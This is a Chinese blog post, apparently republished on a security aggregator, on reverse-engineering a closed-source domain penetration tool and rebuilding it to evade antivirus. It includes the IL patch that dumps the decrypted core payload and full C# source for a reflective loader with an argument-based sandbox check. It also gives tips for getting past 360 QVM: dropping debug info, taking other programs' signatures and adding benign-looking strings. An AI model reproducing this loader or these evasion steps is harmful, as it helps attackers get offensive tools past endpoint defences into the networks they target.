小记-域渗透工具逆向二开赋予免杀"

admin 2026-10-23 07:44:54 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

小记-域渗透工具逆向二开赋予免杀

原创

ptr
ptr

UpRoot

2026年7月27日 21:38
江苏

在小说阅读器读本章

去阅读

看书看到这款工具的,发现不开源并且已经不免杀了,于是我试错中总结出来如何针对类似这类工具的免杀方法论。

对于免杀还是学徒阶段,写的很多东西可能有误,还请指正,能不能长时间免杀都是次要的,对我来说,找到解决问题的方法比拿到结果更重要。

原工具现状:

过程

原程序对核心代码做了加密处理存在数组中,后解密进行反射调用Main方法并传入外部参数。

这里不采用拿数组去解密的办法,一方面这个数组太大了,拿不全,另一方面,解密算法也不好逆。

我的办法是:对Main方法进行IL指令编辑,新增一个System.IO.File::WriteAllBytes()方法,在解密之后,直接写到bin中,这样就拿到了程序的核心代码。

这里在AI的帮助下,通过自己的思路,丢给AI,得到如下IL指令,不难。

0041 stloc.s   V_4 (4)
0043 ldstr     \"D:\\\\tmp\\\\koi.bin\"
0048 ldloc.s   V_4 (4)
004A call      void [mscorlib]System.IO.File::WriteAllBytes(string, uint8[])
004F ldloc.1
0050 ldstr     \"koi\"
0055 ldloc.s   V_4 (4)
0057 callvirt  instance class [mscorlib]System.Reflection.Module [mscorlib]System.Reflection.Assembly::LoadModule(string, uint8[])
005C stloc.s   V_5 (5)

另存module编译执行,拿到koi.bin,再次放到dnspy进行分析。

主方法没问题,这个bin提取正确的。

直接调用肯定是不行的,里面用了很多域工具的组件,过不了杀。

原加载器,静态被标记也用不了,只能自己手工去写一个加载器反射调用主类即可。基础代码如下:

private static bool HasRequiredArgs(string[] argv)
{
    if (argv == null || argv.Length < 2)
        return false;

    bool hasK = false;
    bool hasPtr = false;

    for (int i = 0; i < argv.Length; i++)
    {
        if (string.Equals(argv[i], \"-k\", StringComparison.OrdinalIgnoreCase))
            hasK = true;
        else if (string.Equals(argv[i], \"ptr\", StringComparison.OrdinalIgnoreCase))
            hasPtr = true;
    }

    return hasK && hasPtr;
}

指定参数可运行用来简单地反沙箱。

AppDomain.CurrentDomain.AssemblyResolve += ResolveDependency;

Assembly asm = Assembly.Load(raw);

Type t = asm.GetType(\"mscan.Program\", throwOnError: true, ignoreCase: false);

MethodInfo m = t.GetMethod(
    \"Main\",
    BindingFlags.NonPublic | BindingFlags.Static,
    null,
    new[] { typeof(string[]) },
    null);

string[] args = argv.Length == 0 ? new[] { \"--help\" } : argv;

m.Invoke(null, new object[] { args });

轮子造好了,再把koi.bin转为字节数组,AES加密,反射加载即可。

这里我对字节数组做了一步base64处理去降熵,但是360会提文件里面的内容,检测到大段base64后直接kill掉,所以是不行的。UUID可以试一试,但是估计360检测到大段字符串都会直接kill掉。

所以还是老实字节数组避免360抓文件内容。

缺点是尽管我没加壳,熵也还是很高,也有被直接干掉的风险,这里抱有侥幸心理了。

net4.0兼容到winserver2008编译第一版exe,放到360云沙箱结果如下:

qvm直接干掉了。

于是查阅资料,了解到bypass qvm的解决办法如下:

1、暴露面尽量小,比如导入表

2、禁止生成调试信息,对 C# 来说是不要生成pdb文件

3、签名

4、伪装白文件字符串添加

具体操作如下:

干净的程序生成信息,避免qvm直观检测。

  <PropertyGroup Condition=\" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' \">
    <PlatformTarget>AnyCPU</PlatformTarget>
    <DebugSymbols>false</DebugSymbols>
    <DebugType>none</DebugType>
    <Optimize>true</Optimize>
    <OutputPath>bin\\Release\\</OutputPath>
    <DefineConstants>TRACE</DefineConstants>
    <ErrorReport>prompt</ErrorReport>
    <WarningLevel>4</WarningLevel>
  </PropertyGroup>

签名掠夺,注意不要添加假签名和一些常见的签名,不然直接杀。

做完这两步后就基本可以过检测了。

最后结果如下:

加载器代码如下:

using System;
using System.IO;
using System.Reflection;
using DomainExploit.exploit;

namespace DomainExploit
{
    internal class Program
    {
        static int Main(string[] argv)
        {
            try
            {
                if (!HasRequiredArgs(argv))
                {
                    string friendlyName = AppDomain.CurrentDomain.FriendlyName;
                    Console.WriteLine(\"'\" + friendlyName + \"' is not a valid Win32 application\");
                    return -1;
                }

                byte[] raw = Decrypt.GetKoiBytes();

                AppDomain.CurrentDomain.AssemblyResolve += ResolveDependency;

                Assembly asm = Assembly.Load(raw);

                Type t = asm.GetType(\"mscan.Program\", throwOnError: true, ignoreCase: false);

                MethodInfo m = t.GetMethod(
                    \"Main\",
                    BindingFlags.NonPublic | BindingFlags.Static,
                    null,
                    new[] { typeof(string[]) },
                    null);

                string[] args = argv.Length == 0 ? new[] { \"--help\" } : argv;

                m.Invoke(null, new object[] { args });
                return 0;
            }
            catch (TargetInvocationException ex)
            {
                Console.WriteLine(ex.InnerException != null ? ex.InnerException.ToString() : ex.ToString());
                return -1;
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
                return -2;
            }
        }

        private static bool HasRequiredArgs(string[] argv)
        {
            if (argv == null || argv.Length < 2)
                return false;

            bool hasK = false;
            bool hasPtr = false;

            for (int i = 0; i < argv.Length; i++)
            {
                if (string.Equals(argv[i], \"-k\", StringComparison.OrdinalIgnoreCase))
                    hasK = true;
                else if (string.Equals(argv[i], \"ptr\", StringComparison.OrdinalIgnoreCase))
                    hasPtr = true;
            }

            return hasK && hasPtr;
        }

        static Assembly ResolveDependency(object sender, ResolveEventArgs e)
        {
            string baseDir = AppDomain.CurrentDomain.BaseDirectory;
            string name = new AssemblyName(e.Name).Name + \".dll\";
            string path = Path.Combine(baseDir, name);
            return File.Exists(path) ? Assembly.LoadFrom(path) : null;
        }
    }
}

谢谢阅读,如有更好的解决办法,还请指教下,共勉。

  • END -

小记-域渗透工具逆向二开赋予免杀" 网络安全文章

小记-域渗透工具逆向二开赋予免杀"

本文介绍了对域渗透工具进行逆向二开以实现免杀的方法。作者通过IL指令编辑提取核心代码,编写自定义加载器并采用反沙箱、AES加密、签名伪装等技术绕过杀毒软件检测。关键发现包括通过减少暴露面、禁止生成调试信息、添加签名等方式绕过QVM检测。可操作建议是使用签名和减少暴露面来提升免杀效果。
ARTEX:自动化渗透测试" 网络安全文章

ARTEX:自动化渗透测试"

ARTEX是一款基于Go与Next.js的AI自主渗透测试开源系统,集成任务管理、流量录制、Agent及LLM配置等功能。它支持从ScopeSentry同步资产,可通过一键脚本或Docker快速部署,需依赖PostgreSQL与大模型API。该工具为安全人员提供了可视化的AI驱动自动化测试体验。
Fastjson2远程代码执行漏洞分析与复现报告" 网络安全文章

Fastjson2远程代码执行漏洞分析与复现报告"

Fastjson2<=2.0.62版本存在严重远程代码执行漏洞,源于白名单校验仅依赖FNV-1a哈希值,攻击者可通过哈希碰撞绕过并利用jar:协议远程加载恶意类。漏洞影响所有JDK版本,实际利用程度与classpath中第三方库相关。建议立即升级至2.0.62以上版本并关闭AutoType。
评论:0   参与:  0